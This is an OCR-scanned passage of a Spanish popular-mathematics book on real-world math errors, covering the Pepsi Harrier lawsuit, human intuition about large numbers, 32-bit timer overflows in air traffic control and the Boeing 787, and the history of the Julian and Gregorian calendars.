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SINOPSIS

¢Qué hace que un puente se tambalee cuando no estaba previsto que fuera asi? ¢Como es posible que
miles de millones de euros se esfumen en un instante? ¢O que un edificio tiemble cuando una clase de
gimnasia que salta al ritmo de una determinada cancidn iguala su frecuencia de resonancia? La
respuesta a todas estas preguntas son las matematicas. O, para ser mas exactos, lo que sucede cuando
las matematicas fallan en el mundo real.

Nuestras vidas estan fundamentadas en las matematicas: programas informaticos, economia,
ingenieria; la mayoria de las veces funcionan y no nos percatamos de que estan ahi hasta que.... dejan
de hacerlo. Explorando y explicando una retahila de errores, accidentes y percances, Matt Parker nos
muestra, en esta comedia de errores matematicos, las extranas formas en que las matematicas nos
hacen tropezar, y lo que esto revela sobre sobre el lugar fundamental que ocupan en nuestro mundo.

Un libro lleno de acertijos, retos, calcetines geométricos, chistes sobre cédigo binario y tres errores
deliberados que desafia al lector mas audaz y nos reconcilia con esta ciencia que, excepto cuando la
saboteamos, puede ser nuestro mejor aliado. Equivocarse nunca ha sido tan divertido.
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Cero

INTRODUCCION

En 1995, Pepsi puso en marcha una promocion en la que la gente podia sumar puntos Pepsi para
luego canjearlos por articulos de la compaiiia. Una camiseta costaba 75 puntos, unas gafas de sol,
175, y habia incluso una chaqueta de cuero que se podia canjear por 1.450 puntos. Llevar puestos
los tres articulos al mismo tiempo te conferia un aspecto muy de los noventa. El anuncio de
television en el que anunciaban la campafia de puntos por articulos presentaba a un individuo que
hacia justamente eso.

Pero la gente que realizd el anuncio queria finalizarlo con algo surrealista. Asi que, ataviado
con la camiseta, las gafas y la chaqueta de cuero, el protagonista va a su colegio volando con su
reactor Harrier. Segln el anuncio, este avion militar podia ser tuyo por siete millones de puntos
Pepsi.

La broma es bastante sencilla: cogen la idea de los puntos Pepsi y la extrapolan hasta que
suena ridicula. Un guion comico cléasico. Pero da la impresion de que no realizaron los calculos
matematicos. Sin duda, siete millones parece un nimero muy grande, pero no creo que el equipo
que cred el anuncio se molestara en hacer nimeros y comprobar si esa cifra era lo suficientemente
grande.

Sin embargo, alguien si que lo hizo. En esa época, cada reactor AV-8 Harrier II le costaba al
Cuerpo de Marines de Estados Unidos mas de veinte millones de dolares y, afortunadamente,
existia una forma sencilla de convertir los dolares estadounidenses en puntos Pepsi: Pepsi
permitia que cualquiera pudiese comprar puntos adicionales a diez centavos el punto. No estoy
familiarizado con el mercado de segunda mano de aviones militares, pero un precio de 700.000
dodlares por un avidon de veinte millones parece una buena inversion. Y eso es lo que hizo John
Leonard, quien intent6 sacar provecho de ello.

Y no fue solo un patético «intentdo». Fue a por todas. Segun las reglas de la promocion, la
persona interesada tenia que rellenar un formulario del catdlogo original de Pepsi, intercambiar un
minimo de quince puntos e incluir un cheque para cubrir el coste de cualquier punto adicional que
le faltara para el articulo deseado, mas diez ddlares por gastos de envio. John cumplié con todos
esos requisitos. Rellend un formulario original, incluyé quince puntos de productos Pepsi y
constituyd un deposito de 700.008,50 dolares con sus abogados para garantizar el cheque. jEI tipo
consiguid reunir el dinero! Iba en serio.

Al principio, Pepsi rechazo su peticion: «El reactor Harrier que aparece en el anuncio de
Pepsi no es real y lo incluimos simplemente para crear un anuncio divertido». Pero Leonard ya se
habia asesorado por abogados y estaba preparado para luchar. Sus abogados contraatacaron: «Les



pedimos formalmente que cumplan con su compromiso y lleven a cabo inmediatamente las
disposiciones necesarias para enviar el nuevo reactor Harrier a nuestro cliente». Pepsi no cedio.
Leonard los demand6 y fueron a juicio.

El caso gener6 una gran polémica sobre si el anuncio en cuestion era claramente una broma o
si alguien se lo podia tomar en serio. Las notas oficiales del juez reconocen que el caso se va a
convertir en algo ridiculo: «La insistencia del demandante en que el anuncio es una oferta seria
requiere que el tribunal explique por qué el anuncio es comico. Explicar por qué un chiste es
divertido es una tarea abrumadoray.

iPero les dieron una oportunidad!

El comentario del adolescente del anuncio de que volar en el reactor Harrier para ir a la escuela «seguro
que gana al autobus» pone de manifiesto la actitud sorprendentemente despreocupada respecto a la
dificultad relativa y el peligro de pilotar un avién de combate sobre un area residencial, en lugar de optar
por el transporte publico.

Ningin colegio dispondria de una zona de aterrizaje para el avion de combate de un estudiante, o
toleraria el alboroto que provocaria la utilizacion del reactor.

En vista de la bien conocida funcion del reactor Harrier, o sea, atacar y destruir objetivos terrestres y
aéreos, el reconocimiento armado y la interceptacion aérea, ademas de la guerra antiaérea ofensiva y
defensiva, suponer que un reactor de esas caracteristicas se puede utilizar como transporte para ir por las
mafianas a la escuela no es nada serio.

Leonard nunca obtuvo su reactor, y el juicio Leonard contra Pepsico, Inc. ya es parte de la
historia del derecho. Personalmente, encuentro reconfortante que, si digo algo que creo que es
«humor surrealista», exista un precedente legal que me proteja de las personas que se lo tomen
seriamente. Y si eso le supone un problema a alguien, que reuna los suficientes puntos Parker para
recibir gratis una fotografia mia en plan despreocupado (se aplicara un cargo por franqueo y
envio).

Pepsi dio los pasos necesarios para protegerse de problemas futuros y relanzo la campana
cambiando el valor del Harrier a 700 millones de puntos Pepsi. Me parece increible que no
escogieran esta cantidad elevada en primer lugar. No es que 7 millones sonara mas divertido;
simplemente, la compaiiia no se preocupd de hacer los célculos matematicos oportunos cuando
eligio una cantidad elevada arbitraria.

Como humanos, no somos buenos juzgando el tamafio de las cifras elevadas. E incluso
cuando sabemos que una es mayor que otra, no somos conscientes de la envergadura de la
diferencia. En 2012 tuve que aparecer en las noticias de la BBC para explicar lo grande que era
un billon. La deuda del Reino Unido habia sobrepasado el billon de libras esterlinas y acudieron a
mi para que les explicase que ese es un numero muy grande. Al parecer, vociferar «jEs realmente
grande, devolvemos la conexion al estudio!» fue insuficiente, asi que tuve que poner un ejemplo.

Utilicé mi método favorito de comparar nimeros grandes con el tiempo. Sabemos que un
millon, un millardo y un billoén son cantidades diferentes, pero a menudo no apreciamos el acusado
incremento que hay entre ellas. Un millén de segundos contados desde ahora son tan solo once
dias y catorce horas. No estd mal. Podria esperar todo ese tiempo. Son menos de dos semanas. Un
millardo de segundos es mas de treinta y un afios.

Un billén de segundos contados desde este momento nos situaria en el afio 33700 e. c.



Esos sorprendentes nimeros tienen sentido si pensamos tan solo un momento. Milldn,
millardo y billon son cada uno de ellos mil veces mas que el anterior. Un millon de segundos son
aproximadamente un tercio de un mes, por lo que un millardo de segundos son unos 330 (un tercio
de mil) meses. Y si un millardo son treinta y un afios, mas o menos, entonces estd claro que un
billén son unos 31.000 afios.

Durante nuestras vidas, aprendemos que los numeros son lineales, que los espacios que hay
entre ellos son todos iguales. Si contamos de uno a nueve, cada nimero es una unidad mas que el
anterior. Si le preguntamos a cualquier persona qué numero estd a medio camino entre uno y
nueve, respondera cinco, pero solo porque eso es lo que le han ensefado. jAbrid los ojos!
Instintivamente, los humanos perciben los nimeros de forma logaritmica, no lineal. Un nifio
pequetio o alguien que no haya sido adoctrinado por la educacion existente dird que el nimero que
se halla a medio camino entre el uno y el nueve es el tres.

Tres es una clase diferente de punto medio. Es el punto medio logaritmico, lo que significa
que es el punto medio con respecto a la multiplicacion en lugar de a la suma. 1 x3=3.3 x3 =09,
Puedes pasar de 1 a 9 ya sea afiadiendo dos pasos iguales de cuatro, o multiplicando por dos
pasos iguales de tres. Por lo que el «punto medio utilizando la multiplicacién» es tres, y eso es lo
que hacen los humanos por defecto hasta que nos ensefian a hacerlo de otra forma.

Cuando se pididé a algunos miembros del grupo indigena munduruka del Amazonas que
colocaran unos puntos en el grupo al que pertenecian, entre un punto y diez puntos, colocaron
grupos de tres puntos en el centro. Si el lector tiene acceso a un nifio de edad preescolar o menor a
cuyos padres no les importe que experimente con ellos, haran algo parecido cuando se les pida
que distribuyan nimeros.

Incluso después de toda una vida con una educacion que trata con niimeros pequenos, existe
un instinto vestigial que nos impulsa a ver los nimeros grandes como logaritmicos; a entender que
el hueco existente entre un billon y un millardo es mas o menos igual que el salto existente entre un
millon y un millardo, porque ambos son mil veces mas grandes que el anterior. En realidad, el
salto que conduce al billon es mucho mayor: la diferencia entre vivir hasta los treinta y pocos y
llegar a una época en la que tal vez la humanidad ya no exista.

Nuestros cerebros humanos no estan cableados para ser buenos en matematicas por defecto.
No me malinterpreten: somos buenos en un rango fantdstico de habilidades numéricas y
espaciales; incluso los bebés pueden calcular el nimero de puntos que hay en una pagina y
realizar una aritmética basica con ellos. También aparecemos en un mundo que esta equipado para
el lenguaje y el pensamiento simbolico. Pero las habilidades que nos permiten sobrevivir y formar
comunidades no necesariamente engloban las matematicas académicas. Una escala logaritmica es
una forma valida de disponer y comparar numeros, pero las matematicas también utilizan la recta
numérica lineal.

Todos los humanos somos necios cuando se trata de aprender matematicas académicas. Es un
proceso mediante el cual cogemos aquello con lo que la evolucion nos ha dotado y extendemos
nuestras capacidades mas alld de lo razonable. No nacimos con ninguna clase de capacidad o
habilidad para comprender de forma intuitiva qué son las fracciones, los nimeros negativos o
muchos otros conceptos extrafios desarrollados por las matematicas, pero, con el tiempo, nuestro
cerebro puede aprender lentamente a lidiar con ellos. Actualmente, tenemos sistemas educativos



que obligan a los estudiantes a estudiar matematicas y, con el suficiente entreno, nuestros cerebros
pueden aprender a pensar matematicamente. Pero, si esas habilidades dejan de practicarse, el
cerebro humano regresa rapidamente a la configuracion de fabrica.

Un tipo de cupon de loteria britdnica para rascar tuvo que retirarse del mercado la misma
semana en que fue lanzado. Camelot, compaiia responsable de la loteria britdnica, lo elimind
porque «confundia al jugador». El cupdn se llamaba «Dinero fresco» y se presentaba con una
temperatura impresa en ¢él. Si después de rascar, el cupdén mostraba una temperatura inferior al
valor objetivo, ganaba. Pero parece ser que muchos jugadores tenian un problema con los numeros
negativos...

Uno de mis cupones decia que tenia que encontrar temperaturas menores que —8. Los numeros que
destapé fueron —6 y —7, por lo que pensé que habia ganado, y lo mismo pensé la mujer de la tienda. Pero
cuando escaned el cupdn, la maquina dijo que no era asi. Llamé a Camelot y me vino con el cuento de
que —6 es mayor, no menor, que —8, pero yo no lo veo igual.

Lo que demuestra que la cantidad de matematicas que utilizamos en nuestra sociedad
moderna es increible y aterradora. Como especie, hemos aprendido a explorar y utilizar las
matematicas para hacer cosas que sobrepasan lo que nuestros cerebros pueden procesar de forma
natural. Nos permiten lograr objetivos que van mas alld de aquello para lo que fue disefiado
nuestro hardware. Cuando estamos operando mas alla de la intuicion podemos realizar las cosas
mas interesantes, pero también es cuando somos mds vulnerables. Una simple equivocacion
matematica puede pasar inadvertida para tener luego consecuencias terribles.

El mundo actual estd basado en las matematicas: programacioén informéatica, economia,
ingenieria..., todo son matematicas con apariencias diferentes. Asi que todas las clases de
equivocaciones matematicas aparentemente inocuas pueden tener consecuencias muy extrafias.
Este libro es una colecciéon de mis errores matematicos preferidos de todos los tiempos. Errores
como los que aparecen en las paginas siguientes no son solo graciosos, son reveladores.
Descorren brevemente el telon para poner de manifiesto las matematicas que, por regla general,
pasan desapercibidas entre bastidores. Es como si, tras nuestra hechiceria moderna, resultase que
Oz hace horas extras trabajando con un dbaco y una regla de célculo. Es solo cuando algo va mal
que de repente nos damos cuenta de hasta donde nos han hecho llegar las matematicas y de lo larga
que podria ser la caida. Mi intencién no es de ninguna manera reirme de las personas
responsables de estos errores. No hay duda de que yo mismo he cometido bastantes errores. Todos
lo hemos hecho. Como desafio adicional, y por pura diversion, he cometido deliberadamente tres
errores en este libro. jHacedme saber si los habéis encontrado todos!



Uno
PERDIENDO LA NOCION DEL TIEMPO

El 14 de septiembre de 2004, unos ochocientos aviones estaban realizando vuelos de larga
distancia sobre el sur de California. Un error matematico estaba a punto de amenazar las vidas de
decenas de miles de pasajeros. De buenas a primeras, el Centro de Control del Trafico Aéreo de
Los Angeles perdié el contacto de voz por radio con todos los aviones. El panico cundié de
manera justificada.

La comunicacion por radio estuvo caida durante unas tres horas, tiempo durante el cual los
controladores utilizaron sus méviles personales para contactar con otros centros de control del
trafico aéreo para que los aviones resintonizaran sus comunicaciones. No se produjo ningin
accidente, pero, en medio de ese caos, diez aviones volaron mas cerca unos de otros de lo que
permite la reglamentacion (5 millas nauticas horizontalmente, o 2.000 pies verticalmente); dos
pares pasaron a unas dos millas uno del otro. Se retrasaron cuatrocientos vuelos que alin estaban
en tierra y otros seiscientos fueron cancelados. Todo ello debido a un error matematico.

Los detalles oficiales sobre la naturaleza exacta de qué fue lo que fall6 son muy escasos,
pero sabemos que fue debido a un error de cronometraje en los ordenadores del centro de control.
Parece ser que los sistemas de control del trafico aéreo contaban el tiempo empezando en
4.294.967.295 y descontando una unidad cada milisegundo. Lo que significa que tardarian 49 dias,
17 horas, 2 minutos y 47,296 segundos en llegar a cero.

Por lo general, la maquina se reiniciaria antes de que eso pasara, y la cuenta atrds empezaria
de nuevo desde 4.294.967.295. Por lo que sé, algunas personas eran conscientes del problema
potencial, por lo que la norma de actuacion era reiniciar el sistema al menos cada treinta dias.
Pero esta era solo una forma de bordear el problema; no se hacia nada para corregir el error
matematico subyacente, es decir, que nadie habia comprobado cuantos milisegundos habria en el
tiempo de ejecucion del sistema. Asi pues, en 2004, funciond accidentalmente durante cincuenta
dias seguidos, alcanzd el cero y se apagod. Ochocientos aviones que sobrevolaban una de las
mayores ciudades del mundo corrieron un gran riesgo porque, basicamente, alguien no escogié un
namero lo suficientemente grande.

Répidamente, algunos culparon a una reciente actualizacion de los sistemas informaticos para
que utilizaran una variante del sistema operativo Windows. Algunas de las primeras versiones de
Windows (muy especialmente Windows 95) sufrian exactamente el mismo problema. Siempre que
iniciabas un programa, Windows contaba los milisegundos para dar el «tiempo del sistema» que
haria funcionar al resto de programas. Pero, una vez que el tiempo del sistema Windows llegaba a
4.294.967.295, volvia a empezar de cero. Algunos programas (controladores, que permiten que el
sistema operativo interactiie con dispositivos externos) tendrian repentinamente un problema con



el tiempo al contar hacia atrds. Estos controladores necesitan tener una nocién del tiempo para
asegurarse de que los dispositivos estan respondiendo con regularidad y no se cuelguen durante
mucho tiempo. Cuando Windows les informo6 de que el tiempo habia empezado abruptamente a ir
hacia atras, dejarian de funcionar y con ellos todo el sistema.

No estd del todo claro si el culpable fue el propio Windows o si fue una nueva parte del
codigo informatico del sistema del centro de control. Pero, sea lo que fuere, si que sabemos que el
culpable es el nimero 4.294.967.295. No fue lo suficientemente grande para los ordenadores
caseros de la década de 1990 y no lo era para el control del trafico aéreo a principios de la
década del 2000. Oh, y tampoco fue lo suficientemente grande en 2015 para el Boeing 787
Dreamliner.

El problema del Boeing 787 est4 en el sistema que controlaba los generadores eléctricos. Al
parecer, controlaban el tiempo utilizando un contador que sumaba una unidad cada 10
milisegundos (es decir, cien veces en un segundo), y se paraba en 2.147.483.647
(sospechosamente cerca de la mitad de 4.294.967.295...). Esto significa que el Boeing 787 podia
perder su suministro eléctrico si estaba en marcha de forma continua durante 248 dias, 13 horas,
13 minutos y 56,47 segundos. Esa cifra era tan grande que la mayoria de los aviones se
reiniciaban antes de que hubiera un problema, pero era lo suficientemente corta como para que
fuera factible quedarse sin suministro eléctrico. La Administracion Federal de Aviacion describid
la situacion de esta manera:

El contador interno del software de las unidades de control del generador (GCU por sus siglas en inglés)
se desbordara después de 248 dias de suministro continuo, haciendo que la GCU pase a modo seguro. Si
las cuatro GCU principales (asociadas con los generadores instalados en el motor) fueran puestas en
marcha al mismo tiempo, después de 248 dias de suministro continuo, las cuatro pasaran a modo seguro
al mismo tiempo, con lo cual se pierde todo el suministro eléctrico AC, sea cual sea la fase del vuelo.

Creo que «sea cual sea la fase del vuelo» es la forma oficial de la FAA de decir: «Se podria
apagar en pleno vuelo». Su version oficial de lo que habia que hacer para que el vuelo no tuviera
problemas era que habia que realizar «tareas de mantenimiento de manera reiterada para la
desactivacion del suministro eléctricon. Es decir, cualquiera que tuviera un Boeing 787 tenia que
recordar apagarlo y encenderlo de nuevo. Es la forma habitual de arreglar un problema
informatico. Desde entonces, Boeing ha actualizado su programa para solucionar el problema,
para que preparar el avion para el despegue no tenga que implicar un reinicio rapido.

Cuando 4,3 millardos de milisegundos no son suficientes

Asi pues, ;por qué Microsoft, el Centro de Control de Trafico Aéreo de Los Angeles y Boeing se
pondrian como limite un nimero supuestamente arbitrario de alrededor de 4,3 millardos (o su
mitad) cuando se trata de controlar el paso del tiempo? Sin duda, da la impresion de que se trata
de un problema muy extendido. Hay una pista muy importante si transformamos el nimero
4.294.967.295 en binario. Escrito con el codigo informatico de ceros y unos pasa a ser
ITTTTITITITIIITITTIITITTITITITIT11T; una cadena de treinta y dos unos consecutivos.



La mayoria de los humanos nunca necesitan ni acercarse a los circuitos actuales y al codigo
binario en los que estan basados los ordenadores. Solo necesitan preocuparse por los programas y
aplicaciones que utilizan en sus dispositivos y, ocasionalmente, el sistema operativo en el que
funcionan esos programas (como Windows o 10S). Todos ellos utilizan los digitos habituales (del
0 al 9) del sistema de numeracion de base 10 que todos conocemos y amamos.

Pero bajo todo esto se encuentra el codigo binario. Cuando alguien utiliza Windows en un
ordenador o iOS en un movil, esta interactuando solo con la interfaz grafica del usuario, o GUI
(por sus siglas en inglés), que en inglés se pronuncia deliciosamente «gooey» (empalagoso)). Por
debajo de la GUI es donde todo se complica. Hay capas de codigo informatico que recogen los
clics del ratén y los desplazamientos hacia la izquierda que hace con ¢l el humano que utiliza el
dispositivo y los convierte en el rigoroso codigo maquina de unos y ceros que es el nativo de los
ordenadores.

Si, en un pedazo de papel, dispusiéramos de un espacio para solo cinco digitos, el niimero
mas grande que podriamos escribir seria 99.999. Habriamos llenado cada lugar con el digito mas
grande disponible. Lo que los sistemas de Microsoft, el control de trafico aéreo y Boeing tienen en
comun es que eran sistemas de niumeros binarios de 32 bits, lo que significa que, por defecto, el
nimero mas grande que pueden escribir es treinta y dos unos en binario, 0 4.294.967.295 en base
10.

Era ligeramente peor en sistemas que quisieran usar uno de los treinta y dos espacios para
algo mas. Si quisieras utilizar ese pedazo de papel con espacio para cinco simbolos para escribir
un nimero negativo, necesitarias dejar el primer espacio libre para colocar en ¢l un signo positivo
o negativo, lo que implicaria que podrias escribir todos los numeros existentes entre —9.999 y
+9.999. Se cree que el sistema de Boeing utilizaba esos «niimeros con signo», por lo que, una vez
ocupado el primer espacio,! solo disponian de sitio para un maximo de 31 unos, lo que se traduce
en 2.147.483.647. Contar solo centisegundos en lugar de milisegundos, les facilitaba mas tiempo,
pero no el suficiente.

Afortunadamente, es un problema que ya es pasado. Los sistemas informaticos modernos son,
por regla general, de 64 bits, lo que les permite, por defecto, utilizar nimeros mucho mayores. El
valor maximo posible sigue siendo, por supuesto, finito, por lo que cualquier sistema informatico
estd asumiendo que finalmente serd apagado y encendido de nuevo. Pero si un sistema de 64 bits
cuenta milisegundos, no alcanzaré ese limite hasta que hayan pasado 584,9 millones de afios. Por
lo que el lector no necesita preocuparse: necesitard hacer un reinicio solo dos veces cada
millardo de afios.

Calendarios

Los métodos analogos para controlar el tiempo que utilizamos antes de la invencion del mundo de
los ordenadores, al menos, nunca dejaran de utilizarse por completo. Las manecillas de un reloj
pueden seguir girando; se pueden afadir nuevas paginas al calendario a medida que van pasando
los afios. Olvidaos de los milisegundos: solo hay que preocuparse, como antafio, de los dias y los
afos, y no cometeremos errores matematicos que nos arruinen el dia.



O eso es lo que penso el equipo ruso de tiro cuando llegaron a los Juegos Olimpicos de
1908, celebrados en Londres, un par de dias antes de la fecha prevista para el comienzo de la
prueba internacional de tiro, el 10 de julio. Pero, si el lector se fija en los resultados de las
Olimpiadas de 1908, vera que estan listados todos los paises, pero no aparece ningun resultado
del equipo ruso en la disciplina de tiro. Y eso es porque lo que era 10 de julio para los rusos era
23 de julio en Gran Bretafia (y, de hecho, en la mayor parte del mundo). Los rusos estaban
utilizando un calendario diferente.

Parece extraio que algo tan sencillo como un calendario pueda funcionar tan mal como para
que un equipo de deportistas internacionales se presente en las Olimpiadas dos semanas tarde.
Pero los calendarios son mucho mas complejos de lo que pueda parecer; da la impresion de que
dividir con antelacion el afio en dias no es tan facil y existen diferentes soluciones para los
mismos problemas.

El universo nos ha dado solo dos unidades con las que medir el tiempo: el afo y el dia. Todo
lo demas es una creacion de la humanidad para intentar hacer la vida mas facil. Cuando el disco
protoplanetario se congelod y se separé dando lugar a los planetas tal como los conocemos, la
Tierra se cre6 con una cierta cantidad de momento angular, que la mand6 volando de viaje
alrededor del Sol y girando a medida que avanza. La orbita en la que acabamos es la que nos dio
la longitud que tiene el afio y la velocidad del giro de la Tierra nos dio la longitud del dia.

Excepto que no encajan a la perfeccion. jNo existe ninguna razon por la que deberian! Se
trata solo del lugar donde fueron a parar esos pedazos de roca desde el disco protoplanetario,
hace miles de millones de afios. La drbita de un afio de duracion de la Tierra alrededor de Sol
ahora necesita 365 dias, 6 horas, 9 minutos y 10 segundos. Para simplificarlo, podemos decir que
son 365 dias y un cuarto de dia.

Esto significa que, si celebramos la Nochevieja después de un afo de 365 dias, la Tierra
todavia tarda un cuarto de dia mas en volver al punto en el que estibamos la Nochevieja pasada.
La Tierra esta girando alrededor del Sol a una velocidad de unos 30 kilémetros por segundo, por
lo que esta Nochevieja estaremos a unos 650.000 kilometros de distancia de donde estdbamos el
afo pasado. Por lo tanto, si la promesa de Afio Nuevo que hemos hecho es no llegar tarde a ningin
sitio, ya la hemos incumplido.

Esto pasa de ser una inconveniencia menor a ser un problema importante porque el periodo
orbital de la Tierra controla las estaciones. El verano del hemisferio norte se produce mas o
menos en el mismo punto de la orbita terrestre cada afio porque ese es el lugar donde la
inclinacidn de la Tierra se alinea con la posicion del Sol. Después de cada afio de 365 dias, el
afno del calendario se aleja un cuarto de dia de las estaciones. Después de cuatro afos, el verano
empezaria un dia mas tarde. En menos de cuatrocientos afios, un espacio de tiempo que
equivaldria a la duracion de una civilizacion, las estaciones se habrian desplazado tres meses.
Después de ochocientos afios, el verano y el invierno se habrian cambiado de lugar el uno por el
otro.

Para solucionar este inconveniente, tenemos que modificar ligeramente el calendario para
tener el mismo numero de dias que la orbita. De alguna manera, necesitabamos dejar de tener el
mismo nimero de dias cada afio, pero sin tener que utilizar una fraccion de dia; la gente se



enfadaria si su dia empezara a una hora que no fuera la medianoche. Necesitdbamos vincular un
afno con la orbita terrestre sin romper el vinculo entre la duracion de un dia y la rotaciéon de la
Tierra.

La solucion que la mayoria de las civilizaciones adopto fue variar el nimero de dias en un
afio cualquiera para que, de esa manera, haya un nimero fraccionario de dias por afio (como
promedio). Pero no existe una tnica forma de hacerlo, razon por la que todavia existen unos pocos
calendarios rivales en la actualidad (los cuales empiezan en momentos diferentes de la historia).
Si en algin momento usted tiene acceso al movil de un amigo, métase en los ajustes y cambie su
calendario por el budista. De repente estard viviendo en la década de 2560. Puede intentar
convencerle de que se acaba de despertar de un coma.

Nuestro calendario moderno principal proviene del calendario republicano romano. Tenian
solo 355 dias, que eran bastantes menos de los requeridos, por lo que se insertd un mes entero
entre febrero y marzo, afiadiendo asi veintidds o veintitrés dias al ano. En teoria, este ajuste se
podria utilizar para que el calendario cuadrase con el afio solar. En la practica, era asunto de los
politicos del momento decidir qué mes extra era el que habia que insertar. Dado que esta decision
podia alargar su afio de mandato o acortar el de un oponente, la motivacioén no siempre fue que el
calendario cuadrase.

Rara vez un comité politico es una buena solucion para un problema matematico. Los afos
previos al 46 a. e. c. fueron conocidos como los «afios de la confusion», ya que se afiadian y
quitaban meses extra sin tener mucho que ver con el momento en el que era necesario hacerlo. Al
no tener noticias de los cambios, las personas que viajaban lejos de Roma tendrian que adivinar
cudl era la fecha cuando regresaban a casa.

En el afio 46 a. e. c., Julio César decidi6 arreglar este embrollo con un calendario nuevo y
previsible. Cada afio tendria 365 dias, el nimero entero mas cercano al valor verdadero, y los
cuartos de dia adicionales se acumularian y se sumarian al cuarto afio, el cual pasaria a tener un
unico dia anadido. jHabia nacido el afio bisiesto con un dia extra!

Para que todo volviese a cuadrar desde el principio, el afio 46 a. e. c. consiguié un récord
mundial de 445 dias. Ademas del mes afnadido entre febrero y marzo, se insertaron dos meses mas
entre noviembre y diciembre. Y entonces, a partir del afio 45 a. e. c., se insertaron los afios
bisiestos cada cuatro afios para mantener el calendario sincronizado.

Bueno, casi. Hubo un error administrativo inicial, ya que el ultimo afo de un periodo de
cuatro afios se contaba dos veces como el primer afio del siguiente periodo, por lo que los afios
bisiestos se estaban colocando realmente cada tres afios. Pero este error fue descubierto,
arreglado y, en el afio 3 e. c., todo empezo a funcionar como era debido.

La audacia del papa

Pero Julio César fue traicionado, aunque mucho tiempo después de su muerte, por la diferencia de
11 minutos y 15 segundos existente entre los 365,25 dias por afio que su calendario ofrecia y el
tiempo real existente entre las estaciones, que era de 365,242188792 dias. Una desviacion de
once minutos por dia no parece tan grave en un inicio; las estaciones se moverian unicamente un
dia cada 128 dias. Pero después de mas o menos un milenio ese desvio se acumularia. Y la joven



y advenediza religion cristiana habia fijado su celebracion de la Pascua coordindndola con las
estaciones y, a comienzos del siglo XvI, existia una diferencia de diez dias entre la fecha y el
inicio real de la primavera.

Y ahora un dato concreto. Se dice con mucha frecuencia que los afos del calendario juliano
de 365,25 dias eran demasiado largos si los comparamos con la 6rbita de la Tierra. jPero eso no
es verdad! La Tierra tarda 365 dias, 6 horas, 9 minutos y 10 segundos en completar su orbita: solo
un poquito mas de 365,25 dias. El calendario juliano es demasiado corto en comparacion con la
orbita terrestre. Pero es demasiado largo en comparacion con las estaciones. Resulta curioso, pero
las estaciones no encajan perfectamente con el afio orbital.

Ya hemos llegado al punto en el que hemos de hablar de la mecéanica orbital. A medida que la
Tierra rota alrededor del Sol, la direccidon de su inclinacién también cambia, pasando de sefalar
directamente hacia el Sol a hacerlo en direccion opuesta cada 13.000 afos. Un calendario que
reflejase perfectamente la Orbita terrestre seguiria intercambiando las estaciones cada 13.000
anos. Si factorizamos la precesion axial de la Tierra (el cambio en su inclinacidn) en su Orbita, el
tiempo entre estaciones es de 365 dias, 5 horas, 48 minutos y 45,11 segundos.

El movimiento de la inclinacion de la Tierra nos da 20 minutos y 24,43 segundos extra por
orbita. Por lo tanto, el auténtico afio sideral (literalmente, «de las estrellas») basado en la orbita
es mas largo que el calendario juliano, pero el afo tropical basado en las estaciones (que es el
que nos preocupa en la actualidad) es mas corto. Y lo es porque las estaciones dependen de la
inclinacion de la Tierra respecto al Sol, no de la posicion real de la Tierra. El lector tiene mi
permiso para fotocopiar esta parte del libro y pasarsela a cualquiera que se rija por el tipo de afio
erroneo. Podria sugerirle que su proposito de Ano Nuevo sea comprender qué significa realmente
el término «nuevo afoy.

Ano sideral

31.558.150 segundos = 365,2563657 dias
365 dias, 6 horas, 9 minutos, 10 segundos

Ao tropical

31.556.925 segundos = 365,2421875 dias
365 dias, 5 horas, 48 minutos, 45 segundos

Este ligero desajuste entre el afo juliano y el tropical pasé tan inadvertido que, en el afio
1500 e. c., la inmensa mayoria de los paises de Europa y partes de Africa estaban utilizando el
calendario juliano. Pero la Iglesia catdlica estaba harta de que la muerte de Jesus (que se
celebraba segliin las estaciones) se distanciara de su nacimiento (el cual se celebraba un dia
sefalado). El papa Gregorio XIII decidié que se tenia que hacer algo. Todo el mundo tendria que
adaptarse a un nuevo calendario. Afortunadamente, si hay algo que el papa puede hacer, es
convencer a un montébn de gente para que cambie su comportamiento por razones aparentemente
arbitrarias.



Lo que ahora conocemos como calendario gregoriano no fue diseflado realmente por el papa
Gregorio (estaba demasiado ocupado haciendo las cosas que hacen los papas y tratando de
convencer a la gente para que cambiase su comportamiento), sino por el médico y astrénomo
italiano Luis Lilio. Lamentablemente, Lilio murié en 1576, dos afios antes de que la comision
encargada de reformar el calendario presentara el que ¢l habia disefiado (ligeramente
modificado). En 1582, gracias al pequefio impulso en forma de amenaza que supuso una bula
papal, una parte importante del mundo se paso al sistema del nuevo calendario ese mismo afio.

El avance del calendario de Lilio fue mantener el afio bisiesto cada cuatro afios que ya estaba
en el calendario juliano, pero elimind tres de esos dias bisiestos cada cuatrocientos afios. Los
afnos bisiestos eran todos los afios que eran divisibles por cuatro, y lo que sugiri6 Lilio fue
eliminar los dias afadidos de los afios que también fueran multiplos de 100 (ademas de esos que
también eran multiplos de 400). Eso da un promedio de 365,2425 dias por afio;
extraordinariamente cerca del deseado afio tropical de unos 365,2422 dias.

A pesar de que es un calendario mucho mejor matematicamente, dado que este nuevo sistema
nacid como consecuencia de las vacaciones catdlicas y fue promulgado por el papa, los paises
anticatolicos eran a su vez anticalendario gregoriano. Inglaterra (y, por extension en esa época,
Norteamérica) se aferro al antiguo calendario juliano durante otro siglo y medio, tiempo durante el
cual su calendario no solo se alejé otro dia de las estaciones, sino que también era diferente al
utilizado en la mayor parte de Europa.

Este problema se agravd aun mas porque el calendario gregoriano tuvo un efecto retroactivo,
recalibrando el afio como si siempre se hubiera estado utilizando (en lugar de la opcion del
juliano). Gracias al poder del papa, se decretd que se eliminarian diez dias del mes de octubre de
1582y, por lo tanto, en los paises catolicos, al 4 de octubre de 1582 le siguié inmediatamente el
15 de octubre. Todo esto hace que, por supuesto, los datos historicos sean un poco confusos.
Cuando las tropas inglesas desembarcaron en la isla de Ré el 12 de julio de 1627 como parte de
la guerra anglo-francesa, el ejército francés estaba preparado para repeler el ataque, pero era el
22 de julio. Eso ocurrié el mismo dia. Al menos, para ambos ejércitos, era jueves.

Sin embargo, dado que el calendario gregoriano se aceptdé mas por conveniencia con las
estaciones y menos porque el papa lo ordenaba, otros paises fueron adoptandolo gradualmente.
Una ley del Parlamento britanico de 1750 sefiala que no solo las fechas de Inglaterra difieren de
las del resto de Europa, sino que también difieren de las de Escocia. Por lo que Inglaterra cambio,
pero sin ninguna menciéon directa al papa; simplemente se refirieron de forma indirecta a «un
método para corregir el calendario».

Inglaterra (que por entonces aun incluia algunas —pocas— partes de Norteamérica) cambio
de calendario en 1752, reajustando sus fechas eliminando once dias de septiembre. De ese modo,
